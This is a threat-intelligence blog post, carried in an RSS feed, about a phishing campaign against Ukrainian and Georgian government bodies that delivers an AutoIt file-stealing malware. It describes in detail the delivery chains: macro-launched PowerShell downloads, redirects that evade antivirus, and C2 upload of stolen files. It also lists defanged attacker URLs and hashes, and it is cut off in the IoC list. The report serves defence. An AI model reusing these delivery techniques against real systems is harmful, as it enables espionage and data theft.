class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Targeted Phishing Attack against Ukrainian Government Expands to Georgia</title><link>https://research.intezer.com/blog/2021/07/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/</link><pubDate>Wed, 14 Jul 2021 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2021/07/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/</guid><description>
&lt;p&gt;In May 2021,
&lt;a href="https://www.fortinet.com/blog/threat-research/spearphishing-attack-uses-covid-21-lure-to-target-ukrainian-government"target="_blank" rel="noopener"&gt;Fortinet published a report&lt;/a&gt;
about the early stages of an ongoing phishing attack against the Ukrainian
government. The attack, initially based on the
&lt;a href="https://blog.malwarebytes.com/threat-analysis/2021/04/a-deep-dive-into-saint-bot-downloader/"target="_blank" rel="noopener"&gt;Saint Bot downloader&lt;/a&gt;,
also targeted Georgia as reported by Malwarebytes. Since June we have seen this
threat actor expand its operation with new samples targeting government
entities in Georgia. In this report we will cover the new malware samples we
found.&lt;/p&gt;
&lt;h2&gt;Method of Infection&lt;span class="hx:absolute hx:-mt-20" id="method-of-infection"&gt;&lt;/span&gt;
&lt;a href="#method-of-infection" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The attack&amp;rsquo;s entry point is a spear phishing email referencing
government-related topics including veterans, Ukraine&amp;rsquo;s Anti-Terrorist
Operation (ATO), Georgia&amp;rsquo;s Internally Displaced Persons (IDPs), organizations
in Georgia&amp;rsquo;s private sector and COVID-19. The attack mainly targets government
agencies in Ukraine and Georgia.&lt;/p&gt;
&lt;h2&gt;The Malware&lt;span class="hx:absolute hx:-mt-20" id="the-malware"&gt;&lt;/span&gt;
&lt;a href="#the-malware" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The main payload delivered by the malware is an infostealer written in AutoIt.
Its main goal is to steal files from the victim&amp;rsquo;s machine, uploading them to a
predefined Command and control (C2) server.&lt;/p&gt;
&lt;p&gt;Based on victimology and the fact that this attack tries to steal files from
government entities, a classic goal of nation-state groups, it is likely
operated by a Russian nation-state. There are also several similarities between
this attack and past APT28 campaigns which we will discuss later.&lt;/p&gt;
&lt;p&gt;Below we summarize the early stages of the attack and show the latest malware
targeting government entities in Georgia. We assess with high confidence that
this attack may expand its operations to target additional Eastern European
countries.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The attack flow, described below, begins with a phishing email containing a
malicious shortened URL. The URL redirects to a Command and control (C2) where
a ZIP file or malicious document is hosted. The ZIP file contains a malicious
file and in some emails also a harmless PDF file. The malicious attachment
varies between RTF, DOC, PDF, JS, LNK or EXE. Its main goal is to drop the
packed payloads from the C2. The method in which a dropper contacts the C2 in
order to deliver the packed payload varies between the different file types and
stages of the attack. The packed executable loads an AutoIt payload into
memory. The payload searches for files on the victim&amp;rsquo;s machine based on a list
of file extensions and uploads them to a C2 that is hardcoded in the script.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/07/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/images/fig1.png" title="Attack flow." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Attack flow.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;An example of one of the phishing emails sent to the Ukrainian government is
below. The threat actor references payments made to veterans of the
Anti-Terrorist Operation (ATO).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/07/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/images/fig2.png" title="Phishing email sent to the Ukrainian government. Translation from Ukrainian – Subject: Payments to ATO Veterans. Content: It must be filled in and sent back." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Phishing email sent to the Ukrainian government. Translation from Ukrainian – Subject: Payments to ATO Veterans. Content: It must be filled in and sent back.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The link, masqueraded as a Ukrainian .gov domain, is actually a shortened URL
(&lt;code&gt;https[://]cutt[.]ly/WcBTVdf&lt;/code&gt;) which contacts
&lt;code&gt;http[://]gosloto[.]site/doc/form_request.doc&lt;/code&gt; and downloads &lt;code&gt;form_request.doc&lt;/code&gt;
to the victim&amp;rsquo;s machine. This document is an RTF file that once runs will
present content related to the Israeli
&lt;a href="https://en.wikipedia.org/wiki/Merkava"target="_blank" rel="noopener"&gt;Merkava&lt;/a&gt;, the main battle tank used by
the Israeli Defense Forces.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/07/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/images/fig3.png" title="Reference to Israeli Merkava in the RTF file." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Reference to Israeli Merkava in the RTF file.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This file is incharge of dropping the final payload from the C2. In other
phishing emails, this file is named &lt;code&gt;NATO_06042021&lt;/code&gt;
(&lt;code&gt;44697aad796c0d82c1adbee15fd1266b&lt;/code&gt;).&lt;/p&gt;
&lt;h3&gt;First we Take Kyiv, then we Take Tbilisi&lt;span class="hx:absolute hx:-mt-20" id="first-we-take-kyiv-then-we-take-tbilisi"&gt;&lt;/span&gt;
&lt;a href="#first-we-take-kyiv-then-we-take-tbilisi" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Combined with continuous attacks against Ukraine, the threat actor has expanded
its campaign to target government entities in Georgia. The following malicious
documents were uploaded to VirusTotal from Georgia on June 17 and July 5.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;b56975725c4e260370af540f9c0b6709&lt;/code&gt; —
&lt;code&gt;Georgia_Private_Sector_Poster_Inputs_06_2021.pdf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;900e892c8151f0f59a93af1206583ce6&lt;/code&gt; —
&lt;code&gt;2021-2022 Strategy Action Plan for IDPs.doc&lt;/code&gt; (translated from Georgian)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;333796e18eb3f3d1529d07ec90c63e61&lt;/code&gt; — &lt;code&gt;Change to 828.doc&lt;/code&gt; (translated from
Georgian)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All three files have low detection rates in VirusTotal at the time of this
writing. In the following sections we will describe each file&amp;rsquo;s behavior.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/07/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/images/fig4.png" title="b56975725c4e260370af540f9c0b6709 in VirusTotal." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;b56975725c4e260370af540f9c0b6709 in VirusTotal.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h4&gt;The PDF File&lt;span class="hx:absolute hx:-mt-20" id="the-pdf-file"&gt;&lt;/span&gt;
&lt;a href="#the-pdf-file" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The PDF file, named &lt;code&gt;Georgia_Private_Sector_Poster_Inputs_06_2021.pdf&lt;/code&gt;, was
uploaded to VirusTotal on June 17, 2021. The PDF contains an action object.
Upon a victim opening the PDF it will send a query to Google containing the C2:
&lt;code&gt;http://www[.]google[.]com/url?q=http%3A%2F%2F93482432493824792343432843240234327488 92349702394023.xyz&amp;amp;sa=D&amp;amp;sntz=1&amp;amp;usg=AFQjCNFWmVffgSGlrrv-2U9sSOJYzfUQqw&lt;/code&gt;)
The system will prompt a security warning allowing the document to contact
&lt;code&gt;http[:]//www.google.com&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/07/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/images/fig5.png" title="Action object in b56975725c4e260370af540f9c0b6709" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Action object in b56975725c4e260370af540f9c0b6709&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/07/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/images/fig6.png" title="System prompt message." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;System prompt message.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Once the document connects to Google a short series of network redirections
occurs. First, Google will redirect to the C2&amp;rsquo;s URL. Then, as described in the
image below, the C2 contains a frame with an src to another C2 URL
(&lt;code&gt;https[://]16868138130[.]space/000/&lt;/code&gt;), which then redirects to a shortened URL
(&lt;code&gt;https[://]qaz[.]im/load/rKtsZD/hDKKFD&lt;/code&gt;) using a meta refresh redirect. This
will finally drop &lt;code&gt;georgia_private_sector_poster_inputs_06_2021.cpl&lt;/code&gt;
(&lt;code&gt;02f0118bd15dabf727659b9fd27c86c9&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/07/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/images/fig7.png" title="Network redirections for delivering the payload." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Network redirections for delivering the payload.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This redirection process, starting with Google as the first domain the PDF
attempts to access, is an obvious Antivirus evasion technique.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;georgia_private_sector_poster_inputs_06_2021.cpl&lt;/code&gt; is a DLL which upon clicking
on it, runs under a trusted control panel process. The DLL is incharge of
dropping and running the packed payload from the C2,
&lt;code&gt;16868138130[.]space/000/000.exe&lt;/code&gt; (&lt;code&gt;41af4d9fbd0bc719212b78cd7a1b89ec&lt;/code&gt;). The
packed malware loads the AutoIt payload into memory.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/07/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/images/fig8.png" title="Genetic report of 02f0118bd15dabf727659b9fd27c86c9. Drops 41af4d9fbd0bc719212b78cd7a1b89ec which loads AutoIt into memory." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Genetic report of 02f0118bd15dabf727659b9fd27c86c9. Drops 41af4d9fbd0bc719212b78cd7a1b89ec which loads AutoIt into memory.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/07/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/images/fig9.png" title="IoC report of 02f0118bd15dabf727659b9fd27c86c9 in Intezer Analyze." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;IoC report of 02f0118bd15dabf727659b9fd27c86c9 in Intezer Analyze.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The
&lt;a href="https://github.com/intezer/community-intellignce/blob/master/AutoIt_Infostealer_GE_UA.txt"target="_blank" rel="noopener"&gt;AutoIt script&amp;rsquo;s&lt;/a&gt;
main goal is to upload files from the victim&amp;rsquo;s machine to a predefined C2. The
main logic (see image below) calls the &lt;code&gt;_filsearch&lt;/code&gt; function (two images below)
which looks for files containing the following extensions:
&lt;code&gt;*.doc;*.pdf;*.ppt;*.dot;*.xl;*.csv;*.rtf;*.dot;*.mdb;*.accdb;*.pot;*.pps;*.ppa;*.rar;*.zip;*.tar;*.7z;*.txt&lt;/code&gt;.
&lt;code&gt;_filsearch&lt;/code&gt; uses &lt;code&gt;@ComSpec&lt;/code&gt; environment variable (which usually points to
CMD). The process tree created by the AutoIt file is below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/07/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/images/fig10.png" title="Code snippet from the AutoIt script main logic." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Code snippet from the AutoIt script main logic.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/07/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/images/fig11.png" title="Code snippet from the AutoIt script _filsearch function." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Code snippet from the AutoIt script _filsearch function.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/07/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/images/fig12.png" title="Process tree snippet in Intezer Analyze." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Process tree snippet in Intezer Analyze.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Each file is uploaded to the C2 via a multipart/form-data POST request. The
file&amp;rsquo;s directory is sent as Hex. Below is an example of a file upload request.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/07/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/images/fig13.png" title="Example of C_/Users/admin/AppData/Roaming/Microsoft/Windows/Cookies/NUT28OOW.txt file upload." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Example of C_/Users/admin/AppData/Roaming/Microsoft/Windows/Cookies/NUT28OOW.txt file upload.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Lastly, the AutoIt script creates and runs a batch named &lt;code&gt;r.bat&lt;/code&gt; which deletes
the malware from disk and kills the process.&lt;/p&gt;
&lt;h4&gt;The Document Files&lt;span class="hx:absolute hx:-mt-20" id="the-document-files"&gt;&lt;/span&gt;
&lt;a href="#the-document-files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Both malicious Word documents uploaded to VirusTotal on July 5 display similar
behavior. Let&amp;rsquo;s look at &lt;code&gt;900e892c8151f0f59a93af1206583ce6&lt;/code&gt;. Once a user opens
this document, it will run a VBA macro with the main logic to create, write to
and run a batch file named &lt;code&gt;ballDemocrat.bat&lt;/code&gt;. The script written to the batch
file will run a PowerShell command that drops an executable from the C2
(&lt;code&gt;http[://]1221[.]site/15858415841/0407.exe&lt;/code&gt;) and saves it as
&lt;code&gt;centuryarticle.exe&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/07/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/images/fig14.png" title="VBA script (7546f382d73231a4c1fdc58ab1535ec0) in the malicious document." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;VBA script (7546f382d73231a4c1fdc58ab1535ec0) in the malicious document.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/07/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/images/fig15.png" title="Process tree of 900e892c8151f0f59a93af1206583ce6" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Process tree of 900e892c8151f0f59a93af1206583ce6&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The file dropped from the C2 is a packed .NET file that loads the AutoIt
payload into memory.&lt;/p&gt;
&lt;h2&gt;Possible Russian Connection&lt;span class="hx:absolute hx:-mt-20" id="possible-russian-connection"&gt;&lt;/span&gt;
&lt;a href="#possible-russian-connection" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We noticed similarities between this attack and Russia&amp;rsquo;s APT28 campaigns. While
these similarities alone are not enough to attribute APT28, victimology and
intent to conduct espionage on various government entities in Eastern European
regions gives us reason to believe that Russia is behind the attack.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Victimology: APT28 has targeted Ukraine and Georgia in the past. &lt;a href="https://www.cnbc.com/2014/10/28/russian-hackers-target-nato-military-secrets.html"target="_blank" rel="noopener"&gt;[1]&lt;/a&gt;&lt;a href="https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"target="_blank" rel="noopener"&gt;[2]&lt;/a&gt;&lt;a href="https://securelist.com/greyenergys-overlap-with-zebrocy/89506/"target="_blank" rel="noopener"&gt;[3]&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Phishing theme: APT28 previously used COVID-19-related phishing themes to
target countries including Ukraine. APT28 also used NATO as a phishing theme
in the past. &lt;a href="https://www.cnbc.com/2014/10/28/russian-hackers-target-nato-military-secrets.html"target="_blank" rel="noopener"&gt;[1]&lt;/a&gt;&lt;a href="https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"target="_blank" rel="noopener"&gt;[2]&lt;/a&gt;&lt;a href="../../../2020/12/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/"&gt;[4]&lt;/a&gt;&lt;a href="https://quointelligence.eu/2020/09/apt28-zebrocy-malware-campaign-nato-theme/"target="_blank" rel="noopener"&gt;[5]&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Use of AutoIt: One of Zebrocy&amp;rsquo;s (malware from APT28) variants is written in
AutoIt. &lt;a href="https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/"target="_blank" rel="noopener"&gt;[6]&lt;/a&gt;&lt;a href="https://vk-intel.org/2019/01/22/lets-learn-progression-of-apt28-autoit-zebrocy-downloaders-source-code-level-analysis/"target="_blank" rel="noopener"&gt;[7]&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;File search with predefined extensions: Zebrocy searches for predefined file
extensions on the victim machine. &lt;a href="https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/"target="_blank" rel="noopener"&gt;[8]&lt;/a&gt;&lt;a href="https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/"target="_blank" rel="noopener"&gt;[9]&lt;/a&gt;&lt;a href="https://attack.mitre.org/software/S0251/"target="_blank" rel="noopener"&gt;[13]&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Compressed file holding both malicious and benign files was used in an APT28
COVID-19 phishing attack last year and in other campaigns in the past. &lt;a href="../../../2020/12/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/"&gt;[4]&lt;/a&gt;&lt;a href="https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/"target="_blank" rel="noopener"&gt;[8]&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Use of spear phishing emails containing URL-shortener was documented in past
APT28 campaigns. In one of the campaigns, this URL hosted a ZIP file
containing a benign PDF and a malicious executable. &lt;a href="https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/"target="_blank" rel="noopener"&gt;[8]&lt;/a&gt;&lt;a href="https://www.justice.gov/opa/page/file/1098481/download"target="_blank" rel="noopener"&gt;[10]&lt;/a&gt;&lt;a href="https://www.justice.gov/file/1080281/download"target="_blank" rel="noopener"&gt;[11]&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Use of Hex encoding: The Zebrocy AutoIt version uses String to Hex encoding.
&lt;a href="https://vk-intel.org/2019/01/22/lets-learn-progression-of-apt28-autoit-zebrocy-downloaders-source-code-level-analysis/"target="_blank" rel="noopener"&gt;[7]&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Use of batch files, PowerShell and CMD are part of APT28&amp;rsquo;s documented TTPs.
&lt;a href="https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/"target="_blank" rel="noopener"&gt;[8]&lt;/a&gt;&lt;a href="https://attack.mitre.org/groups/G0007/"target="_blank" rel="noopener"&gt;[12]&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Mitigation&lt;span class="hx:absolute hx:-mt-20" id="mitigation"&gt;&lt;/span&gt;
&lt;a href="#mitigation" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Take the following precautions to keep your organization clean and safe from
phishing attacks.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Enhance social engineering awareness within your organization.&lt;/li&gt;
&lt;li&gt;Use an email gateway to analyze attachments and links. Intezer Analyze now
supports analysis for Microsoft Office documents, PDFs and scripts.&lt;/li&gt;
&lt;li&gt;Conduct proactive threat hunting on all endpoints inside your organization to
routinely ensure that no traces of malicious code or malware exist in-memory.
Intezer&amp;rsquo;s live Endpoint Scanner can help you achieve this at scale by
collecting all binaries running in-memory, including fileless, and
classifying them using Genetic Code Analysis technology. We also have a
&lt;a href="https://intezer.com/blog/malware-analysis/accelerate-incident-response-with-intezer-analyze-volatility-plugin/?utm_campaign=research-blog&amp;amp;utm_content=targeted-phishing-attack-against-ukrainian-government-expands-to-georgia&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Volatility plugin&lt;/a&gt;
for analyzing memory dumps.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;AutoIt Payload Script&lt;span class="hx:absolute hx:-mt-20" id="autoit-payload-script"&gt;&lt;/span&gt;
&lt;a href="#autoit-payload-script" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The AutoIt script can be found in the following
&lt;a href="https://github.com/intezer/community-intellignce/blob/master/AutoIt_Infostealer_GE_UA.txt"target="_blank" rel="noopener"&gt;GitHub repository&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Delivery Files&lt;span class="hx:absolute hx:-mt-20" id="delivery-files"&gt;&lt;/span&gt;
&lt;a href="#delivery-files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;RTF&lt;span class="hx:absolute hx:-mt-20" id="rtf"&gt;&lt;/span&gt;
&lt;a href="#rtf" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;a60f4a353ea89adc8def453c8a1e65ea2ecc46c64d0d9ea375ca4e85e1c428fd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;52173598ca2f4a023ec193261b0f65f57d9be3cb448cd6e2fcc0c8f3f15eaaf7&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;2ec710d38a0919f9f472b220cfe8d554a30d24bfa4bdd90b96105cee842cf40d&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;9803e65afa5b8eef0b6f7ced42ebd15f979889b791b8eadfc98e7f102853451a&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;f357f9bf438f44b2029dfa12c03856393484f723b9df03ecde3e1ef03ddffcb7&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;DOC&lt;span class="hx:absolute hx:-mt-20" id="doc"&gt;&lt;/span&gt;
&lt;a href="#doc" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0be1801a6c5ca473e2563b6b77e76167d88828e1347db4215b7a83e161dae67f&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;96f815abb422bb75117e867384306a3f1b3625e48b81c44ebf032953deb2b3ff&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;LNK&lt;span class="hx:absolute hx:-mt-20" id="lnk"&gt;&lt;/span&gt;
&lt;a href="#lnk" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;101d9f3a9e4a8d0c8d80bcd40082e10ab71a7d45a04ab443ef8761dfad246ca5&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ced5f53bafc5896be0a62ed5bdabed38a6224f8dcbe61669e833749ff62693dd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;2b15ade9de6fb993149f27c802bb5bc95ad3fc1ca5f2e86622a044cf3541a70d&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;ZIP&lt;span class="hx:absolute hx:-mt-20" id="zip"&gt;&lt;/span&gt;
&lt;a href="#zip" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;275388ffad3a1046087068a296a6060ed372d5d4ef6cf174f55c3b4ec7e8a0e8&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;A16e466bed46fcf9c0a771ca0e41bc42a1ac13e66717354e4824f61d1695dbb1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;47e1991f94309566e35ea57507c7c8d013103e860f12f2166450900e8179a75e&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;E39a12f34bb8a7a5a03fd23f351846088692e1248a3952e488102d3aea577644&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;677500881c64f4789025f46f3d0e853c00f2f41216eb2f2aaa1a6c59884b04cc&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;5227adda2d80fb9b66110eeb26d57e69bbbb7bd681aecc3b1e882dc15e06be17&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;a856ae150144179848e0cc9be7618b4404c20c356eb93db490c8496ae2775b5e&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;CPL&lt;span class="hx:absolute hx:-mt-20" id="cpl"&gt;&lt;/span&gt;
&lt;a href="#cpl" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;10d21d4bf93e78a059a32b0210bd7891e349aabe88d0184d162c104b1e8bee2e&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0c644fedcb4298b705d24f2dee45dda0ae5dd6322d1607e342bcf1d42b59436c&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0db336cab2ca69d630d6b7676e5eab86252673b1197b34cf4e3351807229f12a&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;72f57b040d6f523afee40159a743b1ecae685a5bf939cab06b78d1fc397ec5e7&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;64057982a5874a9ccdb1b53fc15dd40f298eda2eb38324ac676329f5c81b64e0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;f4a56c86e2903d509ede20609182fbe001b3a3ca05f8c23c597189935d4f71b8&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;JS&lt;span class="hx:absolute hx:-mt-20" id="js"&gt;&lt;/span&gt;
&lt;a href="#js" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;5d9c7192cae28f4b6cc0463efe8f4361e449f87c2ad5e74a6192a0ad96525417&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fe49909fdd70192e3367d4d88458afbaf817e7a50acae199db97bd68358b241e&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;PDF&lt;span class="hx:absolute hx:-mt-20" id="pdf"&gt;&lt;/span&gt;
&lt;a href="#pdf" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;f69125eafdd54e1aae10707e0d95b0526e80b3b224f2b64f5f6d65485ca9e886&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Packed AutoIT Infostealer&lt;span class="hx:absolute hx:-mt-20" id="packed-autoit-infostealer"&gt;&lt;/span&gt;
&lt;a href="#packed-autoit-infostealer" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cd93f6df63187e3ac31ea56339f9b859b0f4fbe3e73e1c07192cef4c9a6f8b08&lt;/code&gt;&lt;/li&gt;
